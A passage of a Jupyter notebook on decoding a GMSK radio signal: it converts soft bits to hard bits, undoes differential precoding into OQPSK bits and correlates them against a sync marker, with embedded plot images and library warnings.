568qL+Ye9Jxzb61JaY7ILVlOAAb59wM3fc6S1y/pe\nf1R6+rW8lJt7v/b7z+x97OeTqGnqtH5jRJds/+RLtm2s4v2Gc/zheDu6hHeOtfPOsXbuWVbC47cv\n9jVlBTXBI2vKPJVu5Zyp1koBoG8gagn1ovxcapo6aTjbY712+3Z2HwpZ39Uw6gq9EOtVoAk8nzWv\nFZ7dpFm9oZLqN+pSikTq6YtmLPnNC2VKSiMNZ3sonTaZpo7LwyqNIXHOktwPgt9DaD6gqQrcoZRJ\nJmb3I3XM+mE3XwigZGoeZy8aDrSIDrsOtDgE0euHB0tmabGnQAc++aKDj7/oQBPG+xKBdAl8TRj7\nBKxtzWfcELDGi4GIztt1ZxwzvP6Izs/eqCOqSwKa4BcevbGrN1Tyj384YY0fjPFXzSuMc1jmxgRY\nTVMnP/jaIj5t6iQvqHE41M3O/S3sPhTihS3rePLOJXHC1Pw9biHQ0dNnKQ8vO/uug63s2rre8/yb\n91+4t58n71xife6+l6o3VKKJwYicqC55u+4MZdPzccvLd46188GJ8w7bvv14kaik5UKvx10BBZNz\nHJOE/afC7D8Vtt4z/zWFfPWGSurauuno6eOp39czYFt96tb/Yq9dUWOm4qycW2j5iAB27m+J23Y8\nhaeOBVmjGOy2zJHw7rF2PvrifJwz73vPDza+f3hlqeeS1z3bsT/cXgylTDIxux+uY3aolUtRfq4l\nUCQwfUquQ7DmBTXfVZz9GZW294z3B2fS5t/uZ9rvGdc0QfGUXGdTJmEIQTD+/enrxj1T19btmFnO\nnjrJsa/OS31xuTI3lRayaXUZ296st5yZAhwC1x7Z5rieUYmMjcyMpUcaK40PTpxn7/F256TDppAi\nUcmPXjlC84VeBqKGgnvslkUJFX5NU6c1xr4Bnbq2boRtoBLDgbxP856ruu+/ovxcNGEo7UTO53Xl\nxeTlaA6fk3k8+7/mPV7X1s2rh0JxzmHzHLmvdUATHGnt4h/2nnAobRH7bIvtvAQ0wYcN50atr/JI\nmDnC8PuhyBrFkK6iU/akI9Nc0TcQtRxW/RGdD06cj7OrrlxgtBR9u+4MlXOmWuYLDfiGx1IcEs/e\na5vDHG7tQgiBhvHwt3VdGdLmmwypOmaTWbm426MeP9Nj/Z0TECwtKWD/qdFNhJpVkMcbh53FfCfn\nBOi19ejQJfzt60dBDgqpqwM6pzqdM+BQ11XO9fQRjHUBzAkI1pcX89xHJx1CzB0Xb49sW1deTDCg\nxflgTP2nCVgxfxoHm8MO+zjgWBUBNJ4fLBkd1SXPfdzEqgVF9EV0Nq0uizMffdHe4zheY3sPukvK\nmrN/r45i9vtzx74Wfvb6UaJy0OThlfNRlJ9LuLffWgW8UhsiEjGimNwrBkPwCzp6+uhzKYVgQLBp\n1XzO9/RZ/h2T/qiMe8/8jZHYedl6azm1LWEOxFYrE4GCvMyKbuHZl2Ccs2rVKnnw4MGUvpOOFUNA\nM3r4BTTB4pnXcfxsj++2prlkXXkxS0sK6LkywPZPvrRmo+6zHgwIdnk4FXfsa2HXgRbyghpLSwzH\nN8Cm3/7JMpcYYwNdx9M5mQmnt9se/Zt3GtAlBARsWlPGvGmTHcf729eOWrZfN3cvK2HxjCk8+1HT\nkMedNjmHrisDafkNIwlf9kID7lpWwrmLV+mP6AnvDzfm6sLu7/A9Tkzaus1Nyfo8Axo8srqMgrxg\nXGcwk9lT8zh/qY+o7UOHkAamF+SSFwxQOWeqNbGpbQ7z8P/zJ8995gQEP/9OVdwKKi/HmEwAlpI6\n3NrFzfOncbk/yrG2bs50X7V+c0SXDiU4PT+HVQunc0fFLH76+lHfFeK1xE2lhbzxV7ek/D0hRK2U\nctVQ22XNimHz2jL2f9npsF2nQk6s9WdNUydnL/YN+dBL4OzFvqSPF7E5FU2h23NlgOc/brIe+P2n\nwrxcG+KO62c6lAJgPcCmcxIGZ2VmMTA/P0WqiVH2HISgJrijYhbBgEYkNqhdB1rjbPSVcwt9BbEA\nXj98OqnzlC6lgM9YRoIOlmM2VY6EuvnsdHJl4XVpTFLuqJjF3mEcL6rjq6RN7GY+k6IpOVy4PGBF\n6nT09KMJOH/xKjML8mg428OuAy2eSgEM89jv/vilY8YvMUxXz354kpvnT6PnyoD1zLhXZYCn0rzQ\nO8A7x9rZe7w9o202xxN5wcxWM8oaxQA4TASpkhPQhq1UkuW94+38sC/C74+0+c7+BiI67Reven8Y\n49+aw7y4vwUZEyC6lJ6heUBcSOLFvgiv1IbojxhO3K23lvPjb98AeOcg9Ecl7x5rJ6CB0ISxIpKD\nNvqfvVEHwFN76nwF8XCE23hlJL8jFaEW1SVN5y+N6nm7cDleKZsF/4ZSNCaN5+JbZUoM393eY+2M\npDnZtXIPJUPhCKpFJ0NWKYamjuG36huJUkmWZFYYElg0Y0rCSo/21UxEl2hisGn5i/uNBzg3qPHQ\nilJHJNCzHzU5w0glPPtRE00dl7mjYha7DrR4ZoRKzBVL/JMZ1SX/+IcTCc0j2fRApxO7H+FaQJKa\ncsxmZinnc3qobQ7zZcfYN/ZOB6muXOzRQKbs7o/onvVWvJ5LM17dTX5ugCv90SGTgLzMEorxixUe\nrIT0uKVyhLXfhiJrym6/eijkcKRlO7o0lu9ez75PRGIcvTGloLi2GAwFVoxXPmg4l9H9Z41iUPd5\n8kzKCXDD7IKUetAqFIrRYyg/40jJGlPSSMtuZxO9/dGUQi0VCsXosmm1au2ZFsyy2wqFQjHRqZhd\nkNH9Z41iMFPvlXJQKBQTHXvxwEyQNYrBLElxY2kh0yYr27lCoZi4qOqqaaK2OUz1G0fjMoYVCoVi\nonG5L5LR/WfNimH3oZBSCgqF4prgcGtXRvefNYqhI8PNsxUKhWK0uHn+tIzuP2sUQ6brlysUCsVo\nsbRERSWlhQdXlCad0atQKBTjFQFp66zoR9YoBjA6dikUCsVE5talM9LWV8WPrFEMNU2dcf14FQqF\nYqIxGlIsaxRDppdeCoVCMRpUzpma8WNkjWJoULV/FArFNcCHJ85n/BhZoxjerjsz1kNQKBSKEXP8\nbA+/eut4Ro+RNYqhJ429ghUKhWIsSbZH+nDJGsXQeP7a6N6mUCgURRnu+Zw1iqF4ikpwUygU1wbX\nTcpsmbsRKQYhxHQhxLtCiC9i/3oG1wohvh/b5gshxPdj7+ULIf63EOJzIUS9EOJXIxnLUGS6frlC\noVCMFuHezJrGR7pi+DHwBynlUuAPsdcOhBDTgf8GrAXWAP/NpkD+h5TyK8CfAV8TQtw7wvH40tXb\nn6ldKxQKxaiyaMaUjO5/pIphI/Avsb//BbjfY5tvAu9KKS9IKcPAu8C3pJS9Usr3AaSU/cAhoHSE\n4/GlT5VWVSgU1wiLx7liKJFSngGI/TvLY5t5QKvtdSj2noUQYhpwH8aqIyNkWsMqFArFaFF/5mJG\n9z+kB0MIsReY7fHR3yZ5DK8CRVZWtxAiCOwE/lFK2ZRgHFuBrQBlZak3wu68rExJCoXi2iDT2c9D\nKgYp5Tf8PhNCtAsh5kgpzwgh5gDnPDYLAXfYXpcCH9hePwd8IaV8eohxPBfbllWrVqVcLuTeqjl8\n/EVHql9TKBSKcUdBhtsTj9SUtAf4fuzv7wNveGzzr8A9QoiimNP5nth7CCH+DigEfjjCcSgUCkXW\nkOmE3ZEqhl8BdwshvgDujr1GCLFKCLEdQEp5AfgFcCD23zYp5QUhRCmGOWoZcEgIcVgIsWWE4/FF\nlcRQKBTXCns/9zLOpI8RZUlIKTuBuzzePwhssb3+HfA71zYhvP0PGUGZkhQKxbXClf5IRvefNZnP\nm9eWcYNKclMoFNcA86ZNzuj+s0YxgOr7rFAorg1Uz+c0cqglPNZDUCgUihFzuU+ZktLG/KL8sR6C\nQqFQjJjDrV0Z3X9WKYa/e2D5WA9BoVAoRsy0cZ7HMKH4xe/rx3oICoVCMWK6xnkew4Rhx74WDoe6\nx3oYCoVCMWK+VelVpSh9ZI1i2HWgZayHoFAoFGmhrHh8V1edMOQGs+anXhOIUUt9VCgmHpme6GaN\ntLw+w3G/ivQhGEyJ1wQsmTmF0mmTxnJIaWNafg6/fGA59988N+6zhcXpiZoLakqrXuvkZXiimzWK\n4cEVpaNXf0MxIiSgx+rn6hIaz1/mTPdVxzbuLPb7b57L5rVlGV9p5AZGdoD/8s2vAN7hhktLCggM\nQ6jPvM7ZGD6ip1x8OI7i/MxGvShGxhKV4JYeGs72MPLHRTFW6BICwlhJBDVYsaCIJ24r59alM/jl\nA8t5+pE/A0AmeZE1AU/cVp6yIklW6HrtNqhBS+dlfvLaUU519sZ9/t7n57jvxjkpzfgFcMGn18jC\n4nyS3dWyOYOCRgCl0xOvXka6KCnIC3j+zsAQEkkAC6bnM0L9POGpmluY0f1njWJQ1VUnNhJ47NZy\nvre2DE3T2Lm/hX/+9BQ//Mb1bF5rNG5yy4o1C4vwW3GXz5hi1LRPcbZg1wuzp+bxyweWc8+yEs/x\nxr0n4fXDp333HdUlb352hm0bq7h7WQmaTRF6+cg0AQFNeB4roAm23raY3KA25EO+ZmERv7h/OZNy\nNAIC8nI0Nq0uI+iSvpow/huOqermUqcge3TtArZtrHLsyzQhznCtgAKaQMM47t8/sJwP/8ud/OL+\n7M5JCme4h/2IqqtOJIqn5A69URIIUpYlY066x+y1v0k5GlcHkuurnex4hBhcAWgYzUkKJucQiero\nEgYiOjVNnaxcUAQY5sKXa0MMRHRygho/uvcGXj0U4oV98Y66H9xSTsXsAvI8xr1k1nWcPHfJd4ym\ncLyxdBr1bd2UJ9k2NhDQKJuez9mLfb7b6FJS19bNx1+cR0pDKG7bWEXF7AKe3nuCPzZ2oEvjfHxt\nyQwq50zl+Y/jGx9uWj2fzWvLqJhdQE1TJ0X5udS1dSOAL9p72H9qsDzMkpICVi4o4oUt69h9KIQA\nKmYXsGvrenYfCtHR08fMgjwq5xYS7u2nKD+XbW/W0zegJ3Ud7795Lk8/8mf86q3j/H/1Z/lW5Wx+\n/O0bIHYc+++K6NBxaVDoBTXYcssi6s9c5N6qOdYkYPPaMlo6L/Pbj5om3POYDory0yPP/MgaxVDX\nNvIeqbctncH+UxeSFoCacM4wx4rHbyvn06ZOjgwjj6N4Sg6dl53JNN9bW8afGjsc5pDSaZNpPH85\n4b4EcGNpIevLi/nnT08xENEJaIKHV82nIC9I/ZmLVM6ZysW+CAKonFvItjfrLUG/rrwYMGbP7vcA\nVi4oYudj66hp6mRdebGlMHYfMpSFEMY+N63+/9s79+A6qvOA/757JcsvWZZljGQLyZYdHJBgiGXA\nDi6vYoIp0BSagOl0aKmL0/BHaf5ooUwdQtpOStsZmikTcBjadAYcEyBAPaGOISZAwMaWMSDhlxCW\nUSRbfsgPkLEe9/SPPXu9e7X3obu70t7c85u5c/ee3T377d6z5zvn+75zTl2ygnl6lXX8qdODycpn\nYXU5f/LkFgb0/5xIuYeL5lTQ1nOSX350CCBnv8AfN9dy26JavvH42yPKhZ3FhJIYAgwMWZWuUoq+\n/gGa6yu577rz2bb/WPLeVzTV8PCGNoZT8iqJCbctqk0+k+b6Slo6++jrH0g+r5Vr32FwWFEaP3ss\nwAs7uhgYSvD8ji6eXrWE2xbVWs9iKMGEkhhPr1qSfK7rtx3go56TJBLK5RdK5cWd3VRPm8j9N16Q\nVAg2zvvyUjTDCVirFd+2/cdYqH1LWzqOsryxmrqqKax5qZWhhEr2GP2+cgtmTaW99zOfuYRLa3e4\nY7KKRjEcD6DrNbE0zp8tncvjb5xtoV1QXc6+w58xlPp2AssWzOQtRwsvN3USDBdUl9PXP0DdjMks\nb6xmeWM1tz/xNkMZhPBqyacqBbsiaZpdwd///MNk+t3LGgDLZLeiqYZ/27ibY/3uc0viwgddJ2jr\nPsmqZfMon1TqqsC9sFu8zuPsytzrXLsidP4ezfE29jndx0/zzNYDyecSjwlNcyr4wKFkhxOKuDCi\ngnbdu66sm+srWXlZnasXU6J7Bc6K21ZmTuWXei9bOo4ykPKH2nk576mls29E5b7unqUjnomdn7M3\n1n38dLLCttMAHt7QxsBQgpKYcMdldTTOruCh/20bIY/N2jc7WN5Y7fmsnb2V51q6GBpKkOBsebR7\njQNDCR7/9cds3t1LQqnkvaxfvTTZK3ro5VYGHH9EPGadn2sDrSQm3H3FPFfZjiJhu1iKRjEE8SDb\nuk9wenDYlfbJ0c8ZTlMj/ObjoyhlFbZVy+bx47c6GM6iHS6bW0nLgb6sx2Vj18FTABw8eYaVP97C\nur9cwu2X1rkquVSUvv62zr60TtxvLD7PVZnaisDZxQd495OjvLizO3lezbQyerQJZSihWPtmB//4\n9YsyKgXwrrjTVeZB4mxpP7+ji4HBBDFd6YJbgZbGhe/d0sTmPb38ancviYSy7PExYXhYJc9zmrxS\n87Sfm006ZZZ673bvye553aqVjxOvCv/eaxaMOG5JQ5WrN1Y5eQL/8eres0oxHnMppISylKLCsnk/\ndHMjrd0neE6b85zPSClcZr90z/u2RbXJSv6V1h7e2nckmY9gOeiHdS0/4HEvbd0nkmVcsJy0H2To\nKdfPmMxvj5+2lLvjv3h9T2+yRxhFysvCrbqLRjEMJPy313tOfMHNF892rQRnm5UEq3WScLRO7AKs\nlKKt5yROEQRYfuG5rsJ35+V1CLBtv3t68BiweG4lXzq3nMbZFcmXb2jIqli+Or+KNzKsTmdXBrcu\nqmX99k+TvZuSuDBzygSXzbusNM7q32tw9YpsnCYKW97UCs0mdb743lNuu3pCwT+81MrC6vJQK3mv\n1rJ9vZbOvrQ9CRuvHsdjm9uTrVnBUpb2s3DmCbhs9pny9LpuLkozWz4wssJf0lDlee9ePRI7Ckuw\nTGH2sU6F9FxLF0PDZ5+vXbnvO3SKl9/vRinLoe00+2W6J/saC6vL2bb/WFKBXvvlWa73JSYyIk9b\n6dr3evuldbR1t6aNJlt91XzPXunqq+ZHWjG8uuvQCLNckBSNYoiL/wCshLIcoP/8RxfxyMbdHHeY\nSuqrJnPPlfNZv+2Ay5YvkLQHv91+JGluUPozsfTsC9s0u4KHXm5NtpBK4sLtaVqB9su3pKGKF3Z0\nZZTbaY5QjhckkVBcVDudg44XwG7911VNSdqQvVq92VjSUJW8NxEh4dEFGU4oXtjRFapi8Got2z2B\ndAojldRKeklDFWWO/82pLFN7GnaladvsnZVwEPedjwIB0t57uh6J8z6d+XUfP826dw+k7Y386dK5\nrus+trk9q/kwndx7Dp5yVdarls3z7E16Kcs1L7WSUIqYSLKXExOS/huvfCaVxDidyfY6jnyRYrkI\nmqJRDN9srvVsBY8GAVdhc9ohb2isTkZqwNnIFWf3PrV7Oqu8LGML7ZuLz+Of0kwV7qyAfrb902R6\nSVy4duEsfrWnl6FhRQy4+vxzAKuSdDacYiJ866r5XLNw1giT0MLqcq5vrOb2S+uStu/RVGTOF9SO\nYhkYTIzws4Ttm/dqLUN6hZEL2VrqLZ19rFz7jsvWPdprBI2z8ntsc3tO957pPlMVoFcwQOpxuSri\ndHJv6TiaDOiIidVIy3YOMCI6yyugIZWWzr7IKgWAC0Iex1A0iiGISadmT5+YLHB2BWpXqH39A8lI\nEjuU8L7rzncV0NVXzef1vYeThdJWGNlaaJnwUiZzpk/i1V2WAkoAmz46xBv7DrPmpkbKSmMu27Z9\nfadJKN+XOJVUs8Cjr+512YzjQk736Id0lVs6hTGafNM9k+d3dLmUgt1rHO01wmI0956tR5KrOcuP\nIs5H7kz34WU6SuWJX388KtnGmmsWzgo1/6JRDEEMcLv5Yvf8Nk4be0tnHyVxq9CWlMRGKAVIH07p\n3J/LS+Yk9WWxK9oJJbFkNIkdUdLXP+Bqxff1D9DS2ZeTs9JvS7e53h2WKGINWBuLFnQ6U8Fon3Wu\npAY6XFxbwZqbG8ett5BK0PeeiznLryK2rxOE3LnIe+jkFxn3jzdtJlw1GFY01bicxvnQcSRznH4y\nlMdhT0918uXSAsvXZJMa0mnbuIeHz76M9v5MPYIgXuJ0sq65qTFp7/3vd/anDWEcC4Ky86eSOtAu\nSkrBJqx7z3S9sarUg6Ai5BXS/JIazBE0RaMYDhzNUqnnwHsH+tLus006Csupasd7B2GScZIumsSr\nRdxcX+lyUjtttZl6BGG2pvv6B0goFWhvJGpk6xkWK2OtjPKlpbOPt9r9NSLDxoxjCIj/azvoO48v\nhtJHAni1soM2yeRj+/d6GXPpEYT1EofVG4kahVIJGiycDa7UII0o8umxkZMwBknRKIYbGqt9RyXN\nmFyWdl+6VnaQlWBQiibMHkGUr20oLHIZZxLUdZwNrjU3NY75TAWjxUyiFxBBRCWVZlkcI7WVGHQl\naLe2BwatsQF+JtIazxataU0bshFUZFwupDa4+voHaIj4fElh97TNtNujYDCPuObm+krP6QfywXbe\nxmLWgLGHN7TR0pne72EwFCpeveOwsBtccTkbVnz3FfNCu14QpM4sEDRF02NorJnmOyrpTAYfw1hR\nDM5bg2EsfVGFaN7cd+hUqPkXjWJIN0pyNERh3ehicd4aipuxrqxTzZvZppkZb8LsQUERKYYlDVWU\nxMg47XQ2ohCoUIitG4MhH8bTF3U45HECfpkR0MJj6SgaxdBcX0nT7Ap25rFYjc2KppoAJcof47w1\nGMIlCo3ATFxSF+77XzTO5x/8YpcvpWAoXFo6+3hsc7tx1BtyJuwBZH6ZZtZjCIYgBrit33Yg7foD\nhmgylmGPBsNY0dbjf6niTPjqMYjIDBHZJCL79LfnGycid+lj9onIXR77XxaRVj+yZKM0x3V5M1GW\nZRyDIXqMZdij4XeHqJuSGmumhZq/35rufuA1pdSXgNf0bxciMgP4LnA5cBnwXacCEZFbgdBHkvQE\nMFvigghEJRlGh1eMusGQjaibkoKIssyEX1PSHwJX6+2fAK8Df5dyzNeATUqpYwAisgm4AVgnIlOB\n7wD3AM/6lCUjM6eW8dkZf/OLNIW8OIYheEwUlyEfZpann/4mCpw6PZj9IB/47TGcq5TqAdDfXqtH\nzAE+dfzu0mkA3wf+HQh3Rijgqwtm+s4j7DnQDeEQ5OhzQ3EQ9gJSfnlnvMcxiMirQLXHrgdzvIZX\nr0yJyCXAAqXU34jI3BzkuAerZ0Fd3egdwEG09sOeA91gMEQHIbq+Bud682GQVTEopa5Lt09EDolI\njVKqR0RqgF6Pw7o4a24CqMUyOS0FmkVkv5Zjloi8rpS6Gg+UUmuBtQCLFy8e9f8VxGyEJ0Ke0dBg\nMESDLR1HI6sUAE6dGQo1f7+mpJcBO8roLuAlj2M2AteLSKV2Ol8PbFRK/UgpNVspNRdYBuxNpxSC\nIAib3LGQtbTBYIgGUQ9SKA95HINfxfADYLmI7AOW69+IyGIReRJAO52/D2zTn4dtR/RYEkTcbxAh\nrwaDweCX4US4q0X4UjtKqaPA73ukbwdWOX4/BTyVIZ/9QJMfWbJRFcDcIoNRX9bJYDAEwvMRn0RP\nSbiN1KIZsXX0c//+gXkz/S/2YzAYos+RiAeazKmYGGr+RaMYghgp+K2r5gcgicFgiDpRH8cQ9mDb\nolEMQYwUNHHwBkNxEPYkdX4Je5xF0SiGIKIMzOycBkNxEPYAsqhTNIqhub6Sikn+WgFRd0gZDIZg\nOHdauDZ8v4RdFxWNYgCYVBr3dX57yOusGgyGaLD6qvmRnkgvbNmKRjE8s/UAB0/6izT47fHTAUlj\nMBiiTHN9JV+uju5sylEf4FYwvNLa4zuPweFwB5UYDIboMCHC669EeqGeQiKIcFUzvs1gKB6iPG4p\n6gv1FAxBhKtOn+x/9LTBYCgMWrvDbZX7IeyFeopGMVQGUKk3zQ5XSxsMhmjwzNYDtPeGvrBk3kR9\noZ6CIYhpt4OYVsNgMESfIHySYWJ8DAGxpKGKuM8YrxVNNcEIYzAYIk3U3/Ww5SsaxQAw7MN5PLk0\nxp2Xj37lOIPBUHjceXkdX79k9niL4Ul1eVnodVHRKIYtPoe49w8m+MEvdgUkjcFgiDr9A8PjLYIn\nB0+d4ZmtB0K9RtEohiCcz8+2mCkxDIZioeNwdJ3P67cZxRAIQTifzQJuBkPx0HDO1PEWIS1hz+Uk\nShXeqC0ROQx0juqcCZOmlFbOXggi+U40kjjTf3yor/vj/M7Oi5nAkTG8nl8KSd5CkhUKS95CkhXS\nyBufds6c+OSK6nGQJz0KEBg6eaQz0X88n2dcr5Q6J9tBBakY/CAi25VSi8dbjlwoJFmhsOQtJFmh\nsOQtJFmhsOQdPNJJbAAABOlJREFUK1mLxpRkMBgMhtwwisFgMBgMLopRMawdbwFGQSHJCoUlbyHJ\nCoUlbyHJCoUl75jIWnQ+BoPBYDBkphh7DAaDwWDIQNEoBhG5QUT2iEi7iNw/xtd+SkR6RaTVkTZD\nRDaJyD79XanTRUR+qOX8QEQWOc65Sx+/T0TucqQ3i8iH+pwfikjeIy5E5DwR2Swiu0SkTUT+Oqry\nishEEXlXRN7Xsn5Pp88Tka36uutFZIJOL9O/2/X+uY68HtDpe0Tka470wMuNiMRF5D0R2RBleUVk\nv/6fdorIdp0WuXLgyG+6iDwnIrt1+V0aRXlFZKF+pvbnpIjcFylZlVK/8x8gDnwMNAATgPeBC8fw\n+lcCi4BWR9ojwP16+37gX/T2jcArWMu6LgG26vQZQIf+rtTblXrfu8BSfc4rwAofstYAi/R2ObAX\nuDCK8urzp+rtUmCrluFZ4A6d/jjwV3r728DjevsOYL3evlCXiTJgni4r8bDKDfAd4Blgg/4dSXmB\n/cDMlLTIlQOHbD8BVuntCcD0KMur84wDB4H6KMk6JhXjeH/0A9ro+P0A8MAYyzAXt2LYA9To7Rpg\nj95+AliZehywEnjCkf6ETqsBdjvSXccFIPdLwPKoywtMBnYAl2MNVipJ/e+BjcBSvV2ij5PU8mAf\nF0a5AWqB14BrgQ36+pGUF2/FEMlyAEwDPkH7TaMuryOf64HfRE3WYjElzQE+dfzu0mnjyblKqR4A\n/T1Lp6eTNVN6l0e6b7Tp4itYLfFIyqvNMjuBXmATVov5uFJqyCP/pEx6/wmgKo978MOjwN8C9gLi\nVRGWVwG/FJEWEblHp0WyHGD1kg4D/6XNdE+KyJQIy2tzB7BOb0dG1mJRDF72taiGY6WTdbTp/oQQ\nmQo8D9ynlMq0Ksi4yquUGlZKXYLVEr8MuCBD/uMqq4jcBPQqpVqcyRmuMd5l4Qql1CJgBXCviFyZ\n4djxlrUEy1z7I6XUV4DPscwx6RhvedG+pFuAn2U7dJQy+Za1WBRDF3Ce43ct0D1OstgcEpEaAP3d\nq9PTyZopvdYjPW9EpBRLKTytlHoh6vICKKWOA69j2WCni0iJR/5JmfT+CuBYHveQL1cAt4jIfuCn\nWOakR6Mqr1KqW3/3Aj/HUrxRLQddQJdSaqv+/RyWooiqvGAp3B1KqUP6d3Rk9WsjK4QPVmuiA8tR\nZzvlGsdYhrm4fQz/itvR9Ije/gPcjqZ3dfoMLBtqpf58AszQ+7bpY21H040+5BTgf4BHU9IjJy9w\nDjBdb08C3gRuwmqBOZ2539bb9+J25j6rtxtxO3M7sJyCoZUb4GrOOp8jJy8wBSh3bL8N3BDFcuCQ\n+U1god5+SMsaZXl/Cvx5FN+xMasYx/uD5dnfi2WDfnCMr70O6AEGsbT5X2DZil8D9ulv+w8V4DEt\n54fAYkc+dwPt+uMsUIuBVn3Of5LigBulrMuwup0fADv158YoygtcDLynZW0F1uj0BqyojHasSrdM\np0/Uv9v1/gZHXg9qefbgiOAIq9zgVgyRk1fL9L7+tNl5RbEcOPK7BNiuy8OLWJVlJOXFCpY4ClQ4\n0iIjqxn5bDAYDAYXxeJjMBgMBkOOGMVgMBgMBhdGMRgMBoPBhVEMBoPBYHBhFIPBYDAYXBjFYDAY\nDAYXRjEYDAaDwYVRDAaDwWBw8f+3RsLyxG3xZQAAAABJRU5ErkJggg==\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "phase = 40\n", "softbits = s[np.int32(np.arange(phase,s.size, 80))]\n", "softbits = softbits - 5e-8 * np.arange(softbits.size) - 1e-3 # correction for frequency offset and drift\n", "plt.plot(softbits,'.')\n", "plt.axhline(y = 0, color='green')\n", "plt.ylim([-0.05,0.05]);" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Soft bits are now converted to hard bits." ] }, { "cell_type": "code", "execution_count": 11, "metadata": { "collapsed": true }, "outputs": [], "source": [ "bits = (softbits > 0)*1" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now we undo GMSK precoding, since we want to export the OQPSK bits. This part is tricky and use the knowledge of the ASM to correct for phase ambiguities.\n", "\n", "As a first step, since the GMSK bits are differential phase, a cumulative sum of them gives phase, which can be converted to the QPSK constellation." ] }, { "cell_type": "code", "execution_count": 12, "metadata": { "collapsed": true }, "outputs": [], "source": [ "decbits = np.cumsum(np.int32(2*bits-1))%4\n", "decbits[::2] = (decbits[::2] == 1)*1\n", "decbits[1::2] = (decbits[1::2] == 0)*1" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "However we need to consider another branch in which I and Q are swapped, so the sign of one of them is inverted (consider swapping I and Q versus multiplying by 1j)." ] }, { "cell_type": "code", "execution_count": 13, "metadata": { "collapsed": true }, "outputs": [], "source": [ "decbits_inv = decbits.copy()\n", "decbits_inv[::2] ^= 1" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "We correlate both branches against the uncoded ASM. Note the correlation can happen on either branch and have either sign." ] }, { "cell_type": "code", "execution_count": 14, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "/usr/lib64/python3.6/site-packages/scipy/signal/signaltools.py:492: FutureWarning: Using a non-tuple sequence for multidimensional indexing is deprecated; use `arr[tuple(seq)]` instead of `arr[seq]`. In the future this will be interpreted as an array index, `arr[np.array(seq)]`, which will result either in an error or a different result.\n", " return x[reverse].conj()\n", "/usr/lib64/python3.6/site-packages/scipy/signal/signaltools.py:375: FutureWarning: Conversion of the second argument of issubdtype from `complex` to `np.complexfloating` is deprecated. In future, it will be treated as `np.complex128 == np.dtype(complex).type`.\n", " complex_result = (np.issubdtype(in1.dtype, complex) or\n", "/usr/lib64/python3.6/site-packages/scipy/signal/signaltools.py:376: FutureWarning: Conversion of the second argument of issubdtype from `complex` to `np.complexfloating` is deprecated. In future, it will be treated as `np.complex128 == np.dtype(complex).type`.\n", " np.issubdtype(in2.dtype, complex))\n" ] }, { "data": { "image/png": "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\nn